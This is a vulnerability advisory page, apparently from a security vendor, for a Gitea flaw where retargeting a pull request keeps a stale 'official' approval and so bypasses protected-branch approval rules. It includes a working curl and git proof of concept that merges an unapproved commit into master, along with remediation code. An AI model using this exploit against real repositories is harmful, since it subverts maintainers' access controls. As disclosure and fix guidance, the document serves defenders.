CVE-2026-58439

CVE-2026-58439 is a high-severity incorrect authorization vulnerability in code.gitea.io/gitea (go), affecting versions < 1.27.0. It is fixed in 1.27.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale official Approval Flag

Gitea does not re-evaluate the official flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an official: true approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., master). The approval, which would have been official: false if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.

  • Confirmed on Gitea 1.25.4 (1.25.4+41-g96515c0f20)

Vulnerability Details

Root Cause

When a review is submitted on a pull request, Gitea computes the official flag by checking whether the reviewer is in the target branch's approval whitelist (IsUserOfficialReviewer in models/git/protected_branch.go). This flag is stored in the database as a boolean on the review record.

When a PR's target branch is subsequently changed via ChangeTargetBranch (services/pull/pull.go:218), the function:

  • Updates pr.BaseBranch
  • Recalculates merge feasibility and divergence
  • Deletes old push comments
  • Creates a "change target branch" comment

But it does not:

  • Re-evaluate official on existing reviews
  • Dismiss existing approvals
  • Check whether reviewers are in the new target branch's approval whitelist

At merge time, GetGrantedApprovalsCount (models/issues/pull.go:766) counts reviews where official = true AND dismissed = false AND type = Approve. It reads the stored boolean, it does not re-check the whitelist. The stale official: true from the unprotected branch satisfies the protected branch's approval requirement.

Relevant Code Paths

  1. Review creation, services/pull/review.go:SubmitReview calls IsOfficialReviewer against the current pr.BaseBranch's protection rules, stores official=true/false
  2. Target branch change, services/pull/pull.go:ChangeTargetBranch modifies pr.BaseBranch but does not touch existing reviews
  3. Merge check, services/pull/check.go:CheckPullMergeablemodels/issues/pull.go:GetGrantedApprovalsCount counts stored official=true reviews without re-evaluating against the new branch's whitelist

Prerequisites

The attacker needs:

  • Write (push) access to the repository (collaborator with write role, or the ability to create branches, not admin)
  • The ability to create pull requests (standard for any user with push access)
  • A second account (or any non-admin account) to submit the approval on the unprotected branch

The attacker does not need:

  • Admin access
  • To be in the approval whitelist for the protected branch
  • Any interaction from the branch protection's designated approvers

Proof of Concept

Setup

Repository owner/repo with branch master protected:

  • Required approvals: 1
  • Approval whitelist enabled, containing only user admin-reviewer
  • User attacker has write access but is not in the approval whitelist

Steps

BASE="http://gitea-instance:3000"
OWNER="owner"
REPO="repo"
ATTACKER_AUTH="attacker:password"
ACCOMPLICE_AUTH="accomplice:password"  # any non-whitelisted user

# 1. Create an unprotected temporary branch from master
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'

# 2. Push a malicious commit to a feature branch
git checkout -b malicious-branch origin/master
echo "malicious payload" > payload.txt
git add payload.txt
git commit -m "innocent looking commit"
git push origin malicious-branch

# 3. Create PR targeting the UNPROTECTED branch
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{
    "head": "malicious-branch",
    "base": "tmp-unprotected",
    "title": "Add feature"
  }'
# Returns PR #N

# 4. Approve the PR (official=true because tmp-unprotected has no protection)
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
  -u "$ACCOMPLICE_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"event": "APPROVED", "body": "LGTM"}'
# Response includes: "official": true

# 5. Retarget the PR to protected master
curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"base": "master"}'

# 6. Verify: approval is still official=true against master
curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
  -u "$ATTACKER_AUTH"
# Response: "official": true, "dismissed": false, "stale": false

# 7. Merge, succeeds despite no whitelisted approver reviewing
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"do": "merge"}'
# Returns 200 OK, malicious commit is now on master

Observed API Responses

Step 4, Approval on unprotected branch:

{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}}

Step 6, Same approval after retarget to protected master:

{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}}

The official flag is unchanged. Under the protected branch's rules, this user's approval should be official: false.

Impact

  • Branch protection bypass: Protected branches with approval whitelists can be merged into without any whitelisted user approving
  • Privilege escalation: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-58439 has a CVSS score of 8.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.27.0); upgrading removes the vulnerable code path.

Affected versions

code.gitea.io/gitea (< 1.27.0)

Security releases

code.gitea.io/gitea → 1.27.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Re-evaluate the official flag on all existing reviews when a PR's target branch changes. In services/pull/pull.go:ChangeTargetBranch, after updating pr.BaseBranch:

// After updating the base branch, re-evaluate official status on all reviews
reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{
    IssueID: pr.IssueID,
    Type:    issues_model.ReviewTypeApprove,
})
if err != nil {
    return err
}

newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)
if err != nil {
    return err
}

for _, review := range reviews {
    wasOfficial := review.Official
    if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist {
        review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)
    } else {
        review.Official = false
    }
    if wasOfficial != review.Official {
        if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil {
            return err
        }
    }
}

Alternatively, dismiss all existing approvals on retarget (simpler, more conservative):

// Dismiss all approvals when target branch changes
if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{
    IssueID: pr.IssueID,
    Message: "Dismissed: PR target branch changed",
}); err != nil {
    return err
}

Frequently Asked Questions

  1. What is CVE-2026-58439? CVE-2026-58439 is a high-severity incorrect authorization vulnerability in code.gitea.io/gitea (go), affecting versions < 1.27.0. It is fixed in 1.27.0. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
  2. How severe is CVE-2026-58439? CVE-2026-58439 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of code.gitea.io/gitea are affected by CVE-2026-58439? code.gitea.io/gitea (go) versions < 1.27.0 is affected.
  4. Is there a fix for CVE-2026-58439? Yes. CVE-2026-58439 is fixed in 1.27.0. Upgrade to this version or later.
  5. Is CVE-2026-58439 exploitable, and should I be worried? Whether CVE-2026-58439 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-58439 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-58439? Upgrade code.gitea.io/gitea to 1.27.0 or later.

Other vulnerabilities in code.gitea.io/gitea

Stop the waste.
Protect your environment with Kodem.